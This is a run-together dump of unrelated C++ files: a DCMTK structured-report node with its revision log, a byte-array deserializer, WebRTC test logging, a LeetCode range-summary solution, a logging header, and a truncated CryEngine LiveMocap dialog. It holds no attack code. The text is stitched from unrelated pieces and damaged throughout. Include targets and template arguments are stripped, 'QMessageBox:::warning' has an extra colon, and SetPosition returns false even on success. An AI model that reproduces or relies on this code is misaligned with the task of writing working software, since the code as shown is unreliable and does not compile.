"dcmtk/dcmsr/dsrxmld.h" #include "dcmtk/dcmdata/dcuid.h" DSRCompositeTreeNode::DSRCompositeTreeNode(const E_RelationshipType relationshipType) : DSRDocumentTreeNode(relationshipType, VT_Composite), DSRCompositeReferenceValue() { } DSRCompositeTreeNode::~DSRCompositeTreeNode() { } void DSRCompositeTreeNode::clear() { DSRDocumentTreeNode::clear(); DSRCompositeReferenceValue::clear(); } OFBool DSRCompositeTreeNode::isValid() const { return DSRDocumentTreeNode::isValid() && DSRCompositeReferenceValue::isValid(); } OFCondition DSRCompositeTreeNode::print(STD_NAMESPACE ostream &stream, const size_t flags) const { OFCondition result = DSRDocumentTreeNode::print(stream, flags); if (result.good()) { stream << "="; result = DSRCompositeReferenceValue::print(stream, flags); } return result; } OFCondition DSRCompositeTreeNode::writeXML(STD_NAMESPACE ostream &stream, const size_t flags) const { OFCondition result = EC_Normal; writeXMLItemStart(stream, flags); result = DSRDocumentTreeNode::writeXML(stream, flags); stream << "" << OFendl; DSRCompositeReferenceValue::writeXML(stream, flags); stream << "" << OFendl; writeXMLItemEnd(stream, flags); return result; } OFCondition DSRCompositeTreeNode::readContentItem(DcmItem &dataset) { /* read ReferencedSOPSequence */ return DSRCompositeReferenceValue::readSequence(dataset, "1" /* type */); } OFCondition DSRCompositeTreeNode::writeContentItem(DcmItem &dataset) const { /* write ReferencedSOPSequence */ return DSRCompositeReferenceValue::writeSequence(dataset); } OFCondition DSRCompositeTreeNode::readXMLContentItem(const DSRXMLDocument &doc, DSRXMLCursor cursor) { /* retrieve value from XML element "value" */ return DSRCompositeReferenceValue::readXML(doc, doc.getNamedNode(cursor.gotoChild(), "value")); } OFCondition DSRCompositeTreeNode::renderHTMLContentItem(STD_NAMESPACE ostream &docStream, STD_NAMESPACE ostream &annexStream, const size_t /* nestingLevel */, size_t &annexNumber, const size_t flags) const { /* render ConceptName */ OFCondition result = renderHTMLConceptName(docStream, flags); /* render Reference */ if (result.good()) { result = DSRCompositeReferenceValue::renderHTML(docStream, annexStream, annexNumber, flags); docStream << OFendl; } return result; } /* * CVS/RCS Log: * $Log: dsrcomtn.cc,v $ * Revision 1.20 2009-10-13 14:57:51 uli * Switched to logging mechanism provided by the "new" oflog module. * * Revision 1.19 2007-11-15 16:43:43 joergr * Fixed coding style to be more consistent. * * Revision 1.18 2006/08/15 16:40:03 meichel * Updated the code in module dcmsr to correctly compile when * all standard C++ classes remain in namespace std. * * Revision 1.17 2005/12/08 15:47:43 meichel * Changed include path schema for all DCMTK header files * * Revision 1.16 2003/09/15 14:13:42 joergr * Introduced new class to facilitate checking of SR IOD relationship content * constraints. Replaced old implementation distributed over numerous classes. * * Revision 1.15 2003/08/07 17:29:13 joergr * Removed libxml dependency from header files. Simplifies linking (MSVC). * * Revision 1.14 2003/08/07 13:13:39 joergr * Added readXML functionality. * * Revision 1.13 2003/06/04 14:26:54 meichel * Simplified include structure to avoid preprocessor limitation * (max 32 #if levels) on MSVC5 with STL. * * Revision 1.12 2001/11/09 16:13:42 joergr * Added preliminary support for Mammography CAD SR. * * Revision 1.11 2001/10/10 15:29:49 joergr * Additonal adjustments for new OFCondition class. * * Revision 1.10 2001/09/26 13:04:18 meichel * Adapted dcmsr to class OFCondition * * Revision 1.9 2001/05/07 16:14:22 joergr * Updated CVS header. * * Revision 1.8 2001/02/02 14:41:54 joergr * Added new option to dsr2xml allowing to specify whether value and/or * relationship type are to be encoded as XML attributes or elements. * * Revision 1.7 2000/11/07 18:33:28 joergr * Enhanced support for by-reference relationships. * * Revision 1.6 2000/11/01 16:30:08 joergr * Added support for conversion to XML. * * Revision 1.5 2000/10/26 14:26:54 joergr * Added support for "Comprehensive SR". * * Revision 1.4 2000/10/20 10:14:57 joergr * Renamed class DSRReferenceValue to DSRCompositeReferenceValue. * * Revision 1.3 2000/10/18 17:13:58 joergr * Added check for read methods (VM and type). * * Revision 1.2 2000/10/16 12:01:55 joergr * Reformatted print output. * * Revision 1.1 2000/10/13 07:52:17 joergr * Added new module 'dcmsr' providing access to DICOM structured reporting * documents (supplement 23). Doc++ documentation not yet completed. * * */ intact-software-systems/cpp-software-patterns #include"NetworkLib/Serialize/InByteArray.h" namespace NetworkLib { /* ------------------------------------------------------------- class InByteArray --------------------------------------------------------------*/ InByteArray::InByteArray(const char *data, const int &sz) : byteArray_(data) , currentPosition_(0) , currentSize_(sz) { } InByteArray::InByteArray(const ByteArray &other) : byteArray_(NULL) , currentPosition_(0) , currentSize_(0) { expandAndCopyArray(other.GetData(), other.GetLength()); } InByteArray::~InByteArray() { Clear(); } InByteArray& InByteArray::operator=(const InByteArray &other) { if(this != &other) { //clearArray(); Clear(); expandAndCopyArray(other.GetData(), other.GetLength()); } return *this; } InByteArray& InByteArray::operator+=(const InByteArray &other) { if(this != &other) { expandAndCopyArray(other.GetData(), other.GetLength()); } return *this; } /* ------------------------------------------------------------- Special functions for InByteArray --------------------------------------------------------------*/ void InByteArray::CopyData(const char *data, const int &sz) { ASSERT(sz > 0); ASSERT(data != NULL); MutexLocker lock(&readMutex_); expandAndCopyArray(data, sz); } bool InByteArray::SetReadPosition(int pos) { ASSERT(pos >= 0); MutexLocker lock(&readMutex_); if(pos > currentSize_) return false; currentPosition_ = pos; return true; } int64_t InByteArray::GetBytesRead() const { MutexLocker lock(&readMutex_); return (int64_t)currentPosition_; } /* ------------------------------------------------------------- virtual functions from SerializeReader --------------------------------------------------------------*/ void InByteArray::Read(char *bytes, const int &length) { MutexLocker lock(&readMutex_); readData((char*)bytes, length); } char InByteArray::ReadInt8() { char data = 0; Read((char*)&data, sizeof(data)); return data; } short InByteArray::ReadInt16() { short data = 0; Read((char*)&data, sizeof(data)); return data; } int32_t InByteArray::ReadInt32() { int32_t data = 0; Read((char*)&data, sizeof(data)); return data; } int64_t InByteArray::ReadInt64() { int64_t data = 0; Read((char*)&data, sizeof(data)); return data; } double InByteArray::ReadDouble() { double data = 0.0; Read((char*)&data, sizeof(data)); return data; } std::string InByteArray::ReadString() { int32_t length = ReadInt32(); if(length <= 0) return std::string(""); char *bytes = new char[length + 1]; Read(bytes, length); bytes[length] = 0; std::string str(bytes); delete [] bytes; return str; } /*int InByteArray::GetLength() const { MutexLocker lock(&readMutex_); return currentSize_; }*/ bool InByteArray::IsBuffered() const { return true; } char* InByteArray::GetData() const { MutexLocker lock(&readMutex_); printArray(); return (char*)byteArray_; } int InByteArray::GetLength() const { MutexLocker lock(&readMutex_); return currentSize_; } bool InByteArray::IsEmpty() const { MutexLocker lock(&readMutex_); return (currentPosition_ == 0); } bool InByteArray::SetPosition(int pos) { MutexLocker lock(&readMutex_); if(currentSize_ < pos) { IWARNING() << "Position beyond end of buffer!"; return false; } this->currentPosition_ = pos; return false; } void InByteArray::Clear() { MutexLocker lock(&readMutex_); clearArray(); } // private non-thread safe functions void InByteArray::printArray() const { std::cerr << PRETTY_FUNCTION << " byte array(" << currentPosition_ << "):" ; for(int i = 0; i < currentPosition_; i++) std::cerr << byteArray_[i] << ","; std::cerr << std::endl; } int InByteArray::readData(char *bytes, const int &length) { // -- start debug -- ASSERT(bytes); ASSERT(length > 0); // -- end debug -- int currentAvailable = currentSize_ - currentPosition_; // -- start debug -- if(currentAvailable < length) { std::stringstream str; str << TSPRETTY_FUNCTION << "ERROR!: " << currentAvailable << " < " << length << std::endl; std::cerr << str.str() << std::endl; throw Exception(str.str()); } if(byteArray_ == NULL) { std::stringstream str; str << TSPRETTY_FUNCTION << "WARNING! Empty array!" << std::endl; std::cerr << str.str() << std::endl; throw Exception(str.str()); } // -- end debug -- for(int i = 0; i < length; i++, currentPosition_++) bytes[i] = byteArray_[currentPosition_]; return length; } void InByteArray::expandAndCopyArray(const char *data, const int &sz) { ASSERT(sz > 0); ASSERT(currentSize_ >= 0); int newSize = currentSize_ + sz; char *newByteArray = new char[newSize]; if(newByteArray == NULL) { throw BaseLib::FatalException("NetworkLib::InByteArray::expandAndCopyArray(data, sz): Failed to create array! Out of memory!"); } if(byteArray_ != NULL) { // -- debug -- IDEBUG() << "Expanding array size from " << currentSize_ << " to size : " << newSize << ". Buffer's current position " << currentPosition_; // -- debug -- memcpy(newByteArray, byteArray_, currentSize_); delete [] byteArray_; } memcpy(newByteArray + currentSize_, data, sz); // -- debug -- IDEBUG() << " Copying new array " << data << " to buffer "; printArray(); // -- end debug -- byteArray_ = newByteArray; currentSize_ = newSize; } void InByteArray::clearArray() { if(byteArray_ != NULL) delete [] byteArray_; byteArray_ = NULL; currentSize_ = 0; currentPosition_ = 0; } } // namespace NetworkLib modules/remote_bitrate_estimator/test/bwe_test_logging.cc /* * Copyright (c) 2013 The WebRTC project authors. All Rights Reserved. * * Use of this source code is governed by a BSD-style license * that can be found in the LICENSE file in the root of the source * tree. An additional intellectual property rights grant can be found * in the file PATENTS. All contributing project authors may * be found in the AUTHORS file in the root of the source tree. */ #include "modules/remote_bitrate_estimator/test/bwe_test_logging.h" #if BWE_TEST_LOGGING_COMPILE_TIME_ENABLE #include #include #include #include #include "rtc_base/checks.h" #include "rtc_base/platform_thread.h" #include "rtc_base/strings/string_builder.h" namespace webrtc { namespace testing { namespace bwe { static std::string ToString(uint32_t v) { rtc::StringBuilder ss; ss << v; return ss.Release(); } Logging::ThreadState::ThreadState() = default; Logging::ThreadState::~ThreadState() = default; Logging::Context::Context(uint32_t name, int64_t timestamp_ms, bool enabled) { Logging::GetInstance()->PushState(ToString(name), timestamp_ms, enabled); } Logging::Context::Context(const std::string& name, int64_t timestamp_ms, bool enabled) { Logging::GetInstance()->PushState(name, timestamp_ms, enabled); } Logging::Context::Context(const char* name, int64_t timestamp_ms, bool enabled) { Logging::GetInstance()->PushState(name, timestamp_ms, enabled); } Logging::Context::~Context() { Logging::GetInstance()->PopState(); } Logging* Logging::GetInstance() { static Logging* logging = new Logging(); return logging; } void Logging::SetGlobalContext(uint32_t name) { MutexLock lock(&mutex_); thread_map_[rtc::CurrentThreadId()].global_state.tag = ToString(name); } void Logging::SetGlobalContext(const std::string& name) { MutexLock lock(&mutex_); thread_map_[rtc::CurrentThreadId()].global_state.tag = name; } void Logging::SetGlobalContext(const char* name) { MutexLock lock(&mutex_); thread_map_[rtc::CurrentThreadId()].global_state.tag = name; } void Logging::SetGlobalEnable(bool enabled) { MutexLock lock(&mutex_); thread_map_[rtc::CurrentThreadId()].global_state.enabled = enabled; } void Logging::Log(const char format[], ...) { MutexLock lock(&mutex_); ThreadMap::iterator it = thread_map_.find(rtc::CurrentThreadId()); RTC_DCHECK(it != thread_map_.end()); const State& state = it->second.stack.top(); if (state.enabled) { printf("%s\t", state.tag.c_str()); va_list args; va_start(args, format); vprintf(format, args); va_end(args); printf("\n"); } } void Logging::Plot(int figure, const std::string& name, double value) { Plot(figure, name, value, 0, "-"); } void Logging::Plot(int figure, const std::string& name, double value, uint32_t ssrc) { Plot(figure, name, value, ssrc, "-"); } void Logging::Plot(int figure, const std::string& name, double value, const std::string& alg_name) { Plot(figure, name, value, 0, alg_name); } void Logging::Plot(int figure, const std::string& name, double value, uint32_t ssrc, const std::string& alg_name) { MutexLock lock(&mutex_); ThreadMap::iterator it = thread_map_.find(rtc::CurrentThreadId()); RTC_DCHECK(it != thread_map_.end()); const State& state = it->second.stack.top(); if (state.enabled) { printf("PLOT\t%d\t%s:%" PRIu32 "@%s\t%f\t%f\n", figure, name.c_str(), ssrc, alg_name.c_str(), state.timestamp_ms * 0.001, value); } } void Logging::PlotBar(int figure, const std::string& name, double value, int flow_id) { MutexLock lock(&mutex_); ThreadMap::iterator it = thread_map_.find(rtc::CurrentThreadId()); RTC_DCHECK(it != thread_map_.end()); const State& state = it->second.stack.top(); if (state.enabled) { printf("BAR\t%d\t%s_%d\t%f\n", figure, name.c_str(), flow_id, value); } } void Logging::PlotBaselineBar(int figure, const std::string& name, double value, int flow_id) { MutexLock lock(&mutex_); ThreadMap::iterator it = thread_map_.find(rtc::CurrentThreadId()); RTC_DCHECK(it != thread_map_.end()); const State& state = it->second.stack.top(); if (state.enabled) { printf("BASELINE\t%d\t%s_%d\t%f\n", figure, name.c_str(), flow_id, value); } } void Logging::PlotErrorBar(int figure, const std::string& name, double value, double ylow, double yhigh, const std::string& error_title, int flow_id) { MutexLock lock(&mutex_); ThreadMap::iterator it = thread_map_.find(rtc::CurrentThreadId()); RTC_DCHECK(it != thread_map_.end()); const State& state = it->second.stack.top(); if (state.enabled) { printf("ERRORBAR\t%d\t%s_%d\t%f\t%f\t%f\t%s\n", figure, name.c_str(), flow_id, value, ylow, yhigh, error_title.c_str()); } } void Logging::PlotLimitErrorBar(int figure, const std::string& name, double value, double ylow, double yhigh, const std::string& error_title, double ymax, const std::string& limit_title, int flow_id) { MutexLock lock(&mutex_); ThreadMap::iterator it = thread_map_.find(rtc::CurrentThreadId()); RTC_DCHECK(it != thread_map_.end()); const State& state = it->second.stack.top(); if (state.enabled) { printf("LIMITERRORBAR\t%d\t%s_%d\t%f\t%f\t%f\t%s\t%f\t%s\n", figure, name.c_str(), flow_id, value, ylow, yhigh, error_title.c_str(), ymax, limit_title.c_str()); } } void Logging::PlotLabel(int figure, const std::string& title, const std::string& y_label, int num_flows) { MutexLock lock(&mutex_); ThreadMap::iterator it = thread_map_.find(rtc::CurrentThreadId()); RTC_DCHECK(it != thread_map_.end()); const State& state = it->second.stack.top(); if (state.enabled) { printf("LABEL\t%d\t%s\t%s\t%d\n", figure, title.c_str(), y_label.c_str(), num_flows); } } Logging::Logging() : thread_map_() {} Logging::~Logging() = default; Logging::State::State() : tag(""), timestamp_ms(0), enabled(true) {} Logging::State::State(const std::string& tag, int64_t timestamp_ms, bool enabled) : tag(tag), timestamp_ms(timestamp_ms), enabled(enabled) {} void Logging::State::MergePrevious(const State& previous) { if (tag.empty()) { tag = previous.tag; } else if (!previous.tag.empty()) { tag = previous.tag + "_" + tag; } timestamp_ms = std::max(previous.timestamp_ms, timestamp_ms); enabled = previous.enabled && enabled; } void Logging::PushState(const std::string& append_to_tag, int64_t timestamp_ms, bool enabled) { MutexLock lock(&mutex_); State new_state(append_to_tag, timestamp_ms, enabled); ThreadState* thread_state = &thread_map_[rtc::CurrentThreadId()]; std::stack* stack = &thread_state->stack; if (stack->empty()) { new_state.MergePrevious(thread_state->global_state); } else { new_state.MergePrevious(stack->top()); } stack->push(new_state); } void Logging::PopState() { MutexLock lock(&mutex_); ThreadMap::iterator it = thread_map_.find(rtc::CurrentThreadId()); RTC_DCHECK(it != thread_map_.end()); std::stack* stack = &it->second.stack; int64_t newest_timestamp_ms = stack->top().timestamp_ms; stack->pop(); if (!stack->empty()) { State* state = &stack->top(); // Update time so that next log/plot will use the latest time seen so far // in this call tree. state->timestamp_ms = std::max(state->timestamp_ms, newest_timestamp_ms); } } } // namespace bwe } // namespace testing } // namespace webrtc #endif // BWE_TEST_LOGGING_COMPILE_TIME_ENABLE // You are given a sorted unique integer array nums. // Return the smallest sorted list of ranges that cover all the numbers in the array exactly. That is, each element of nums is covered by exactly one of the ranges, and there is no integer x such that x is in one of the ranges but not in nums. // Each range [a,b] in the list should be output as: // "a->b" if a != b // "a" if a == b // Example 1: // Input: nums = [0,1,2,4,5,7] // Output: ["0->2","4->5","7"] // Explanation: The ranges are: // [0,2] --> "0->2" // [4,5] --> "4->5" // [7,7] --> "7" // Example 2: // Input: nums = [0,2,3,4,6,8,9] // Output: ["0","2->4","6","8->9"] // Explanation: The ranges are: // [0,0] --> "0" // [2,4] --> "2->4" // [6,6] --> "6" // [8,9] --> "8->9" // Example 3: // Input: nums = [] // Output: [] // Example 4: // Input: nums = [-1] // Output: ["-1"] // Example 5: // Input: nums = [0] // Output: ["0"] // Constraints: // 0 <= nums.length <= 20 // -231 <= nums[i] <= 231 - 1 // All the values of nums are unique. // solution: stringstream class Solution { public: vector summaryRanges(vector& nums) { vector ranges; for (int i = 0, j = 1; j <= nums.size(); j++) { if (j == nums.size() || nums[j - 1] + 1 != nums[j]) { stringstream ss; ss << nums[i]; if (i != j - 1) ss << "->" << nums[j - 1]; ranges.push_back(ss.str()); i = j; } } return ranges; } };include/common/logging.hpp #pragma once #include #include #define LOG_VERBOSE if constexpr (false) std::cout #define LOG_STATS if constexpr (true) ::gsaca_lyndon::clog namespace gsaca_lyndon { namespace logging_internal { constexpr uint64_t LOG_LIMIT = 1ULL << 20; struct temporary_logger { std::string key; template void operator<<(T &&); }; } struct { private: uint64_t size = logging_internal::LOG_LIMIT; std::stringstream ss; public: friend class logging_internal::temporary_logger; inline auto operator<<(std::string &&str) { return logging_internal::temporary_logger{std::move(str)}; } inline std::string get_and_clear_log() { auto result = ss.str(); size = logging_internal::LOG_LIMIT; ss = std::stringstream(); return result; } } clog; template void logging_internal::temporary_logger::operator<<(T &&t) { std::string value = std::to_string(t); uint64_t add = 2 + key.size() + value.size(); if (clog.size + add < logging_internal::LOG_LIMIT) { clog.size += add; clog.ss << " " << std::move(key) << "=" << std::move(value); } else { clog.size = 1 + key.size() + value.size(); clog.ss = std::stringstream(); clog.ss << std::move(key) << "=" << std::move(value); } } } /* * All or portions of this file Copyright (c) Amazon.com, Inc. or its affiliates or * its licensors. * * For complete copyright and license terms please see the LICENSE at the root of this * distribution (the "License"). All use of this software is governed by the License, * or, if provided, by the license below or the license accompanying this file. Do not * remove or modify any license notices. This file is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * */ // Original file Copyright Crytek GMBH or its affiliates, used under license. #include "stdafx.h" #include "LiveMocapDialog.h" #include "../Objects/EntityObject.h" #include "../Dialogs/Generic/StringInputDialog.h" #include /* CLiveMocapTreeConnection */ CLiveMocapTreeConnection::CLiveMocapTreeConnection() { } CLiveMocapTreeConnection::~CLiveMocapTreeConnection() { } // CLiveMocapConnection* CLiveMocapTreeConnection::IsConnection(HTREEITEM hItem) { if (GetParentItem(hItem)) { return NULL; } return (CLiveMocapConnection*)GetItemData(hItem); } CLiveMocapActor* CLiveMocapTreeConnection::IsActor(HTREEITEM hItem) { if (!GetParentItem(hItem)) { return NULL; } return (CLiveMocapActor*)GetItemData(hItem); } HTREEITEM CLiveMocapTreeConnection::FindConnectionItem(const CLiveMocapConnection* pConnection) { if (!pConnection) { return NULL; } HTREEITEM hItem = GetFirstVisibleItem(); while (hItem) { HTREEITEM hNext = GetNextItem(hItem, TVGN_NEXT); if (pConnection == IsConnection(hItem)) { return hItem; } hItem = hNext; } return hItem; } HTREEITEM CLiveMocapTreeConnection::FindConnectionItem(const CLiveMocapScene* pScene) { if (!pScene) { return NULL; } HTREEITEM hItem = GetFirstVisibleItem(); while (hItem) { HTREEITEM hNext = GetNextItem(hItem, TVGN_NEXT); if (CLiveMocapConnection* pConnection = IsConnection(hItem)) { if (pScene == &pConnection->GetScene()) { return hItem; } } hItem = hNext; } return hItem; } CLiveMocapConnection* CLiveMocapTreeConnection::GetSelectedConnection() { HTREEITEM hItem = GetSelectedItem(); if (!hItem) { return NULL; } return IsConnection(hItem); } CLiveMocapActor* CLiveMocapTreeConnection::GetSelectedActor() { HTREEITEM hItem = GetSelectedItem(); if (!hItem) { return NULL; } return IsActor(hItem); } IEntity* CLiveMocapTreeConnection::GetEditorSelectedEntity() { CBaseObject* pObject = ::GetIEditor()->GetSelectedObject(); if (!pObject) { return NULL; } if (!pObject->IsKindOf(RUNTIME_CLASS(CEntityObject))) { return NULL; } return ((CEntityObject*)pObject)->GetIEntity(); } void CLiveMocapTreeConnection::RefreshConnection(HTREEITEM hConnection, bool bForceExpand) { CLiveMocapConnection* pConnection = IsConnection(hConnection); if (!pConnection) { return; } HTREEITEM hChild = GetChildItem(hConnection); while (hChild) { HTREEITEM hNext = GetNextItem(hChild, TVGN_NEXT); DeleteItem(hChild); hChild = hNext; } const CLiveMocapScene& scene = pConnection->GetScene(); uint32 actorCount = scene.GetActorCount(); for (uint32 i = 0; i < actorCount; ++i) { const CLiveMocapActor* pActor = scene.GetActor(i); string entryText = GetSubjectName(pActor); hChild = InsertItem(entryText.c_str(), hConnection, TVI_LAST); SetItemData(hChild, (DWORD_PTR)pActor); } if (bForceExpand) { Expand(hConnection, TVE_EXPAND); } UpdateWindow(); SetRedraw(TRUE); } void CLiveMocapTreeConnection::RefreshConnections() { CLiveMocap& liveMocap = CLiveMocap::Instance(); DeleteAllItems(); size_t connectionCount = liveMocap.GetConnectionCount(); for (size_t i = 0; i < connectionCount; ++i) { CLiveMocapConnection* pConnection = liveMocap.GetConnection(i); HTREEITEM hConnection = InsertItem(pConnection->GetName(), TVI_ROOT, TVI_LAST); SetItemState(hConnection, TVIS_EXPANDPARTIAL, TVIS_EXPANDPARTIAL); SetItemData(hConnection, (DWORD_PTR)pConnection); RefreshConnection(hConnection, false); } } // void CLiveMocapTreeConnection::CreateMenuConnection(CLiveMocapConnection& connection, CMenu& menu) { menu.CreatePopupMenu(); menu.AppendMenu(NULL, eID_Connection_SetEntity, "SetEntity"); menu.AppendMenu(MF_SEPARATOR); if (connection.IsConnected()) { menu.AppendMenu(NULL, eID_Connection_Disconnect, "Disconnect"); } else { menu.AppendMenu(NULL, eID_Connection_Connect, "Connect"); } } void CLiveMocapTreeConnection::Create(CWnd* pParent, UINT nID) { CTreeCtrl::Create(WS_CHILD | WS_VISIBLE | TVS_HASBUTTONS | TVS_LINESATROOT, CRect(0, 0, 0, 0), pParent, nID); m_menuConnection.CreatePopupMenu(); m_menuConnection.AppendMenu(NULL, eID_Connection_SetEntity, "SetEntity"); m_menuConnection.AppendMenu(MF_SEPARATOR); m_menuConnection.AppendMenu(NULL, eID_Connection_Connect, "Connect"); m_menuActor.CreatePopupMenu(); m_menuActor.AppendMenu(MF_STRING, eID_Actor_SetEntity, "SetEntity"); m_menuActor.AppendMenu(MF_STRING, eID_Actor_UnSetEntity, "UnsetEntity"); m_menuActor.AppendMenu(MF_SEPARATOR); m_menuMappingGraph.CreatePopupMenu(); m_menuMappingGraph.AppendMenu(MF_STRING, eID_Actor_MappingGraph_New, "New"); m_menuMappingGraph.AppendMenu(MF_STRING, eID_Actor_MappingGraph_Open, "Open"); m_menuActor.AppendMenu(MF_POPUP, (UINT_PTR)m_menuMappingGraph.GetSafeHmenu(), "Mapping Graph"); } // BEGIN_MESSAGE_MAP(CLiveMocapTreeConnection, CTreeCtrl) ON_WM_RBUTTONDOWN() ON_WM_RBUTTONUP() ON_COMMAND_RANGE(eID_AddConnection, eID_AddConnectionLast, &OnAddConnection) ON_BN_CLICKED(eID_Connection_Connect, &OnConnection_Connect) ON_BN_CLICKED(eID_Connection_Disconnect, &OnConnection_Disconnect) ON_BN_CLICKED(eID_Connection_SetEntity, &OnConnection_SetEntity) ON_BN_CLICKED(eID_Actor_SetEntity, &OnActor_SetEntity) ON_BN_CLICKED(eID_Actor_UnSetEntity, &OnActor_UnSetEntity) ON_BN_CLICKED(eID_Actor_MappingGraph_New, &OnActor_MappingGraph_New) ON_BN_CLICKED(eID_Actor_MappingGraph_Open, &OnActor_MappingGraph_Open) END_MESSAGE_MAP() afx_msg void CLiveMocapTreeConnection::OnRButtonDown(UINT nFlags, CPoint point) { HTREEITEM hItem = HitTest(point); if (!hItem) { return; } SelectItem(hItem); } static std::vector g_foundPlugins; static void EnumeratePlugins() { // Enumerate Available MoCap Plugins #ifdef WIN64 string mocapPluginPath = BINFOLDER_NAME "/LiveMocap"; #else string mocapPluginPath = "Bin32/LiveMocap"; #endif if (!PathFileExists(mocapPluginPath.c_str())) { CryLogAlways("Can't find MoCap plugin directory '%s'", mocapPluginPath.c_str()); return; } CFileEnum cDLLFiles; __finddata64_t sFile; g_foundPlugins.clear(); if (cDLLFiles.StartEnumeration(mocapPluginPath.c_str(), "*.DLL", &sFile)) { int i = 0; do { ++i; // store every find in a vector string newFileName = sFile.name; newFileName.erase(newFileName.length() - 4, 4); bool is64BitDLL = newFileName.find("64", newFileName.length() - 3) != string::npos; ; #ifdef WIN64 if (is64BitDLL) #else if (!is64BitDLL) #endif { g_foundPlugins.push_back(newFileName); } } while (cDLLFiles.GetNextFile(&sFile) && (i <= LIVEMOCAP_CONNECTION_MAX)); } } afx_msg void CLiveMocapTreeConnection::OnRButtonUp(UINT nFlags, CPoint point) { UINT uFlags; HTREEITEM hItem = HitTest(point, &uFlags); // select so the item will be highlighted in blue SelectItem(hItem); ClientToScreen(&point); if (!hItem) // clicked on white space { CMenu menu; menu.CreatePopupMenu(); // Enumerate Available MoCap Plugins EnumeratePlugins(); // add a menu entry for each one string connectionName; for (int i = 0; (i < g_foundPlugins.size()) && (eID_AddConnection + i < eID_AddConnectionLast); ++i) { connectionName.Format("Add %s Connection", g_foundPlugins[i].c_str()); menu.AppendMenu(NULL, eID_AddConnection + i, connectionName.c_str()); } if (g_foundPlugins.size() == 0) { CryLogAlways("No Live-MoCap plugins found."); } else { menu.TrackPopupMenu(NULL, point.x, point.y, this); } } else if (CLiveMocapConnection* pConnection = IsConnection(hItem)) { // m_menuConnection.TrackPopupMenu(NULL, point.x, point.y, this); CMenu menu; CreateMenuConnection(*pConnection, menu); menu.TrackPopupMenu(NULL, point.x, point.y, this); } else if (IsActor(hItem)) { m_menuActor.TrackPopupMenu(NULL, point.x, point.y, this); } } afx_msg void CLiveMocapTreeConnection::OnAddConnection(UINT nID) { int index = nID - eID_AddConnection; if (index < g_foundPlugins.size()) { CLiveMocap& liveMocap = CLiveMocap::Instance(); liveMocap.AddConnection(g_foundPlugins[index]); RefreshConnections(); } } afx_msg void CLiveMocapTreeConnection::OnConnection_Connect() { CLiveMocapConnection* pConnection = GetSelectedConnection(); if (!pConnection) { return; } CStringInputDialog address; address.SetTitle(CString(MAKEINTRESOURCE(IDS_LIVE_MOCAP_DIALOG_CONNECTION_TITLE))); address.SetText(pConnection->m_lastConnection.c_str()); if (address.DoModal() != 1) { return; } if (!pConnection->Connect(address.GetResultingText())) { QMessageBox:::warning(nullptr, QString(), "Was unable to connect!"); return; } pConnection->m_lastConnection = address.GetResultingText(); pConnection->GetScene().AddListener(this); if (HTREEITEM hItem = GetSelectedItem()) { Expand(hItem, TVE_EXPAND); } } afx_msg void CLiveMocapTreeConnection::OnConnection_Disconnect() { CLiveMocapConnection* pConnection = GetSelectedConnection(); if (!pConnection) { return; } pConnection->Disconnect(); // pConnection->GetScene().DeleteActors(); // pConnection->Reset(); HTREEITEM hItem = FindConnectionItem(pConnection); if (!hItem) { return; } RefreshConnection(hItem, false); } afx_msg void CLiveMocapTreeConnection::OnConnection_SetEntity() { CLiveMocapConnection* pConnection = GetSelectedConnection(); if (!pConnection) { return; } IEntity* pEntity = GetEditorSelectedEntity(); if (!pEntity) { return; } pConnection->GetScene().SetEntity(pEntity); } afx_msg void CLiveMocapTreeConnection::OnActor_SetEntity() { CLiveMocapActor* pActor = GetSelectedActor(); if (!pActor) { return; } IEntity* pEntity = GetEditorSelectedEntity(); if (!pEntity) { return; } pActor->SetEntity(pEntity); // update the name of the assigned entity in the tree list //RefreshConnections(); HTREEITEM hItem = GetSelectedItem(); if (hItem) { string entryText = GetSubjectName(pActor); SetItemText(hItem, entryText); } } afx_msg void CLiveMocapTreeConnection::OnActor_UnSetEntity() { CLiveMocapActor* pActor = GetSelectedActor(); if (!pActor) { return; } IEntity* pEntity = pActor->GetEntity(); pActor->SetEntity(NULL); HTREEITEM hItem = GetSelectedItem(); if (hItem) { string entryText = GetSubjectName(pActor); SetItemText(hItem, entryText); } } afx_msg void CLiveMocapTreeConnection::OnActor_MappingGraph_New() { CLiveMocapActor* pActor = GetSelectedActor(); if (!pActor) { return; } Skeleton::CMapperGraph* pGraph = pActor->CreateSkeletonMapperGraph(); m_pGraphView->SetGraph(pGraph); } afx_msg void CLiveMocapTreeConnection::OnActor_MappingGraph_Open() { CLiveMocapActor* pActor = GetSelectedActor(); if (!pActor) { return; } CFileDialog fileDialog(true); if (fileDialog.DoModal() == IDCANCEL) { return; } Skeleton::CMapperGraph* pGraph = Skeleton::CMapperGraphManager::Instance().Load(fileDialog.GetPathName()); pActor->SetSkeletonMapperGraph(pGraph); m_pGraphView->SetGraph(pGraph); } // ILiveMocapSceneListener void CLiveMocapTreeConnection::OnCreateActor(const CLiveMocapScene& scene, const CLiveMocapActor& actor) { HTREEITEM hConnection = FindConnectionItem(&scene); if (!hConnection) { return; } RefreshConnection(hConnection); } string CLiveMocapTreeConnection::GetSubjectName(const CLiveMocapActor* pActor) { string entryText(pActor->GetName()); entryText.append(" - "); entryText.append(pActor->GetEntityName()); return entryText; } /* CLiveMocapDialog */ void CLiveMocapDialog::RegisterViewClass() { class CViewClass : public TRefCountBase { virtual ESystemClassID SystemClassID() { return ESYSTEM_CLASS_VIEWPANE; }; virtual REFGUID ClassID() { // {CD9DEEBE-C417-482b-8A6E-2D4E01EA67B3} static const GUID guid = { 0xcd9deebe, 0xc417, 0x482b, { 0x8a, 0x6e, 0x2d, 0x4e, 0x1, 0xea, 0x67, 0xb3 } }; return guid; } virtual const char* ClassName() { return "LiveMocap"; }; virtual const char* Category() { return "LiveMocap"; }; virtual CRuntimeClass* GetRuntimeClass() { return RUNTIME_CLASS(CLiveMocapDialog); }; virtual unsigned int GetPaneTitleID() const { return IDS_LIVE_MOCAP_WINDOW_TITLE; } virtual EDockingDirection GetDockingDirection() { return DOCK_FLOAT; }; virtual CRect GetPaneRect() { return CRect(100, 100, 1000, 800); }; virtual bool SinglePane() { return false; }; virtual bool WantIdleUpdate() { return true; }; }; ::GetIEditor()->GetClassFactory()->RegisterClass(new CViewClass()); } // IMPLEMENT_DYNCREATE(CLiveMocapDialog, CBaseFrameWnd) BEGIN_MESSAGE_MAP(CLiveMocapDialog, CBaseFrameWnd) ON_NOTIFY(TVN_SELCHANGED, AFX_IDW_PANE_FIRST, OnTreeSelection) // 